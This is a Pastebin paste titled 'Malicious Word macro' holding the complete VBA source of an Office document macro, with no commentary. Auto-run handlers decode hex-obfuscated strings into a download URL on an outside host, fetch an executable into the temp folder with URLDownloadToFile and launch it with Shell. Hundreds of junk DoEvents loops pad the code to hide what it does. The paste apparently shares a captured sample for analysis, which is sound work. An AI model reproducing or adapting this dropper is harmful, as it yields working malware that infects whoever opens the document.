Advertisement
dynamoo

Malicious Word macro

Jan 14th, 2015
654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dfgfdg As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dfgfdg As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim gGpRktBl As Integer
  28. For gGpRktBl = 0 To 8
  29. Dim zpKNMuMT As Integer
  30. For zpKNMuMT = 0 To 3
  31. Dim hIQYfdFo As Integer
  32. For hIQYfdFo = 0 To 5
  33. DoEvents
  34. Next hIQYfdFo
  35. DoEvents
  36. Next zpKNMuMT
  37. Dim lpFmypAl As Integer
  38. For lpFmypAl = 0 To 6
  39. DoEvents
  40. Next lpFmypAl
  41. DoEvents
  42. Next gGpRktBl
  43. Dim ySWFSeYG As Integer
  44. For ySWFSeYG = 0 To 3
  45. Dim AlvUcBFT As Integer
  46. For AlvUcBFT = 0 To 7
  47. DoEvents
  48. Next AlvUcBFT
  49. DoEvents
  50. Next ySWFSeYG
  51. Dim knlyQpre As Integer
  52. For knlyQpre = 0 To 8
  53. DoEvents
  54. Next knlyQpre
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim nwxTaHRl As Integer
  59. For nwxTaHRl = 0 To 7
  60. Dim obzdPVAf As Integer
  61. For obzdPVAf = 0 To 9
  62. Dim OmMNRXJG As Integer
  63. For OmMNRXJG = 0 To 3
  64. DoEvents
  65. Next OmMNRXJG
  66. DoEvents
  67. Next obzdPVAf
  68. Dim suTigmIA As Integer
  69. For suTigmIA = 0 To 1
  70. DoEvents
  71. Next suTigmIA
  72. DoEvents
  73. Next nwxTaHRl
  74. Dim BYXQBoHQ As Integer
  75. For BYXQBoHQ = 0 To 8
  76. Dim JbCFvDaj As Integer
  77. For JbCFvDaj = 0 To 6
  78. DoEvents
  79. Next JbCFvDaj
  80. DoEvents
  81. Next BYXQBoHQ
  82. Dim lsIXosKe As Integer
  83. For lsIXosKe = 0 To 2
  84. DoEvents
  85. Next lsIXosKe
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim bAXYAJVG As Integer
  90. For bAXYAJVG = 0 To 3
  91. Dim nlEiEQgN As Integer
  92. For nlEiEQgN = 0 To 7
  93. Dim XBdRXQab As Integer
  94. For XBdRXQab = 0 To 1
  95. DoEvents
  96. Next XBdRXQab
  97. DoEvents
  98. Next nlEiEQgN
  99. Dim qhFwevwb As Integer
  100. For qhFwevwb = 0 To 4
  101. DoEvents
  102. Next qhFwevwb
  103. DoEvents
  104. Next bAXYAJVG
  105. Dim jncTKWEc As Integer
  106. For jncTKWEc = 0 To 5
  107. Dim DMpODKMf As Integer
  108. For DMpODKMf = 0 To 9
  109. DoEvents
  110. Next DMpODKMf
  111. DoEvents
  112. Next jncTKWEc
  113. Dim hQvArfbL As Integer
  114. For hQvArfbL = 0 To 5
  115. DoEvents
  116. Next hQvArfbL
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim vYxYaLlq As Integer
  121. For vYxYaLlq = 0 To 6
  122. Dim EzeitYyD As Integer
  123. For EzeitYyD = 0 To 4
  124. Dim AlYXkoUH As Integer
  125. For AlYXkoUH = 0 To 1
  126. DoEvents
  127. Next AlYXkoUH
  128. DoEvents
  129. Next EzeitYyD
  130. Dim eoXFIRdw As Integer
  131. For eoXFIRdw = 0 To 6
  132. DoEvents
  133. Next eoXFIRdw
  134. DoEvents
  135. Next vYxYaLlq
  136. Dim yFFhGtVb As Integer
  137. For yFFhGtVb = 0 To 9
  138. Dim JnXGRXWl As Integer
  139. For JnXGRXWl = 0 To 6
  140. DoEvents
  141. Next JnXGRXWl
  142. DoEvents
  143. Next yFFhGtVb
  144. Dim tXzjjYef As Integer
  145. For tXzjjYef = 0 To 9
  146. DoEvents
  147. Next tXzjjYef
  148. hJBJ = HexToString("6874")
  149. JNlkdfg = HexToString("74703A2F2F")
  150. ihjkB = HexToString("666F72642D6D757374616E672E726F2F6A732F62696E2E657865")
  151.     fdgdfg = hJBJ + JNlkdfg + ihjkB
  152. Dim lqLKIVNx As Integer
  153. For lqLKIVNx = 0 To 2
  154. Dim eiaklfFu As Integer
  155. For eiaklfFu = 0 To 5
  156. Dim dauCSTca As Integer
  157. For dauCSTca = 0 To 7
  158. DoEvents
  159. Next dauCSTca
  160. DoEvents
  161. Next eiaklfFu
  162. Dim nxdvbgYM As Integer
  163. For nxdvbgYM = 0 To 9
  164. DoEvents
  165. Next nxdvbgYM
  166. DoEvents
  167. Next lqLKIVNx
  168. Dim TMSvrSYK As Integer
  169. For TMSvrSYK = 0 To 1
  170. Dim gFdbwYgL As Integer
  171. For gFdbwYgL = 0 To 5
  172. DoEvents
  173. Next gFdbwYgL
  174. DoEvents
  175. Next TMSvrSYK
  176. Dim gFpQRRBa As Integer
  177. For gFpQRRBa = 0 To 5
  178. DoEvents
  179. Next gFpQRRBa
  180.     ferf34fe = Environ(HexToString("54454D50")) & HexToString("5C64736572727474667364662E657865")
  181. Dim gFjrheUI As Integer
  182. For gFjrheUI = 0 To 5
  183. Dim hOULTBjw As Integer
  184. For hOULTBjw = 0 To 8
  185. Dim Minwcedp As Integer
  186. For Minwcedp = 0 To 7
  187. DoEvents
  188. Next Minwcedp
  189. DoEvents
  190. Next hOULTBjw
  191. Dim moBRdIni As Integer
  192. For moBRdIni = 0 To 2
  193. DoEvents
  194. Next moBRdIni
  195. DoEvents
  196. Next gFjrheUI
  197. Dim RaoPSQQx As Integer
  198. For RaoPSQQx = 0 To 4
  199. Dim YFqOUvzZ As Integer
  200. For YFqOUvzZ = 0 To 2
  201. DoEvents
  202. Next YFqOUvzZ
  203. DoEvents
  204. Next RaoPSQQx
  205. Dim llBTdQhB As Integer
  206. For llBTdQhB = 0 To 9
  207. DoEvents
  208. Next llBTdQhB
  209.     wqewr = URLDownloadToFile(0&, fdgdfg, ferf34fe, 0&, 0&)
  210.    Dim jkdfdklf
  211. Dim EzonLPSw As Integer
  212. For EzonLPSw = 0 To 1
  213. Dim LdtexvzQ As Integer
  214. For LdtexvzQ = 0 To 7
  215. Dim lHhPUkHp As Integer
  216. For lHhPUkHp = 0 To 2
  217. DoEvents
  218. Next lHhPUkHp
  219. DoEvents
  220. Next LdtexvzQ
  221. Dim RwRELqYw As Integer
  222. For RwRELqYw = 0 To 4
  223. DoEvents
  224. Next RwRELqYw
  225. DoEvents
  226. Next EzonLPSw
  227. Dim iRUMEqxS As Integer
  228. For iRUMEqxS = 0 To 9
  229. Dim aHhQAKGU As Integer
  230. For aHhQAKGU = 0 To 8
  231. DoEvents
  232. Next aHhQAKGU
  233. DoEvents
  234. Next iRUMEqxS
  235. Dim DwrYurer As Integer
  236. For DwrYurer = 0 To 3
  237. DoEvents
  238. Next DwrYurer
  239.     jkdfdklf = Shell(ferf34fe, 1)
  240.  
  241. End Sub
  242.  
  243.  
  244. Public Function HexToString(ByVal hextext As String) As String
  245. Dim gVidOqxP As Integer
  246. For gVidOqxP = 0 To 1
  247. Dim QkaDCilb As Integer
  248. For QkaDCilb = 0 To 3
  249. Dim OTGPqBNg As Integer
  250. For OTGPqBNg = 0 To 8
  251. DoEvents
  252. Next OTGPqBNg
  253. DoEvents
  254. Next QkaDCilb
  255. Dim ZllwFttU As Integer
  256. For ZllwFttU = 0 To 7
  257. DoEvents
  258. Next ZllwFttU
  259. DoEvents
  260. Next gVidOqxP
  261. Dim RtRcnfvK As Integer
  262. For RtRcnfvK = 0 To 4
  263. Dim bINWqiCp As Integer
  264. For bINWqiCp = 0 To 7
  265. DoEvents
  266. Next bINWqiCp
  267. DoEvents
  268. Next RtRcnfvK
  269. Dim yXJRTRHC As Integer
  270. For yXJRTRHC = 0 To 6
  271. DoEvents
  272. Next yXJRTRHC
  273.    
  274. For y = 1 To Len(hextext)
  275. Dim lnqaAuoM As Integer
  276. For lnqaAuoM = 0 To 2
  277. Dim AmqCCjjm As Integer
  278. For AmqCCjjm = 0 To 4
  279. Dim NYQzWOES As Integer
  280. For NYQzWOES = 0 To 2
  281. DoEvents
  282. Next NYQzWOES
  283. DoEvents
  284. Next AmqCCjjm
  285. Dim YMASgyxn As Integer
  286. For YMASgyxn = 0 To 8
  287. DoEvents
  288. Next YMASgyxn
  289. DoEvents
  290. Next lnqaAuoM
  291. Dim OEVBtoLb As Integer
  292. For OEVBtoLb = 0 To 5
  293. Dim WqaGRHAO As Integer
  294. For WqaGRHAO = 0 To 1
  295. DoEvents
  296. Next WqaGRHAO
  297. DoEvents
  298. Next OEVBtoLb
  299. Dim AvKbBdwx As Integer
  300. For AvKbBdwx = 0 To 7
  301. DoEvents
  302. Next AvKbBdwx
  303.     num = Mid(hextext, y, 2)
  304. Dim jPknciYa As Integer
  305. For jPknciYa = 0 To 5
  306. Dim qmsWyPmv As Integer
  307. For qmsWyPmv = 0 To 6
  308. Dim ftZPcZgm As Integer
  309. For ftZPcZgm = 0 To 1
  310. DoEvents
  311. Next ftZPcZgm
  312. DoEvents
  313. Next qmsWyPmv
  314. Dim pbHIjRpI As Integer
  315. For pbHIjRpI = 0 To 7
  316. DoEvents
  317. Next pbHIjRpI
  318. DoEvents
  319. Next jPknciYa
  320. Dim LljZwaJN As Integer
  321. For LljZwaJN = 0 To 3
  322. Dim DuMjRrVO As Integer
  323. For DuMjRrVO = 0 To 6
  324. DoEvents
  325. Next DuMjRrVO
  326. DoEvents
  327. Next LljZwaJN
  328. Dim WqeUyBDM As Integer
  329. For WqeUyBDM = 0 To 7
  330. DoEvents
  331. Next WqeUyBDM
  332.     Value = Value & Chr(CDbl("&h" & num))
  333. Dim sfFStdfd As Integer
  334. For sfFStdfd = 0 To 1
  335. Dim cJfSSvoM As Integer
  336. For cJfSSvoM = 0 To 1
  337. Dim oUyvDSAh As Integer
  338. For oUyvDSAh = 0 To 6
  339. DoEvents
  340. Next oUyvDSAh
  341. DoEvents
  342. Next cJfSSvoM
  343. Dim hHKnWRrm As Integer
  344. For hHKnWRrm = 0 To 7
  345. DoEvents
  346. Next hHKnWRrm
  347. DoEvents
  348. Next sfFStdfd
  349. Dim kTKxjRfd As Integer
  350. For kTKxjRfd = 0 To 2
  351. Dim ORMmfhxQ As Integer
  352. For ORMmfhxQ = 0 To 8
  353. DoEvents
  354. Next ORMmfhxQ
  355. DoEvents
  356. Next kTKxjRfd
  357. Dim HDYxwiBG As Integer
  358. For HDYxwiBG = 0 To 1
  359. DoEvents
  360. Next HDYxwiBG
  361.     y = y + 1
  362. Next y
  363.  
  364. Dim fNVNMpvZ As Integer
  365. For fNVNMpvZ = 0 To 7
  366. Dim esZUGMus As Integer
  367. For esZUGMus = 0 To 3
  368. Dim EgPicvGe As Integer
  369. For EgPicvGe = 0 To 4
  370. DoEvents
  371. Next EgPicvGe
  372. DoEvents
  373. Next esZUGMus
  374. Dim doqtuJbQ As Integer
  375. For doqtuJbQ = 0 To 1
  376. DoEvents
  377. Next doqtuJbQ
  378. DoEvents
  379. Next fNVNMpvZ
  380. Dim OECzGgGL As Integer
  381. For OECzGgGL = 0 To 2
  382. Dim TzHPynYW As Integer
  383. For TzHPynYW = 0 To 2
  384. DoEvents
  385. Next TzHPynYW
  386. DoEvents
  387. Next OECzGgGL
  388. Dim hMwkDaKX As Integer
  389. For hMwkDaKX = 0 To 8
  390. DoEvents
  391. Next hMwkDaKX
  392. HexToString = Value
  393. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement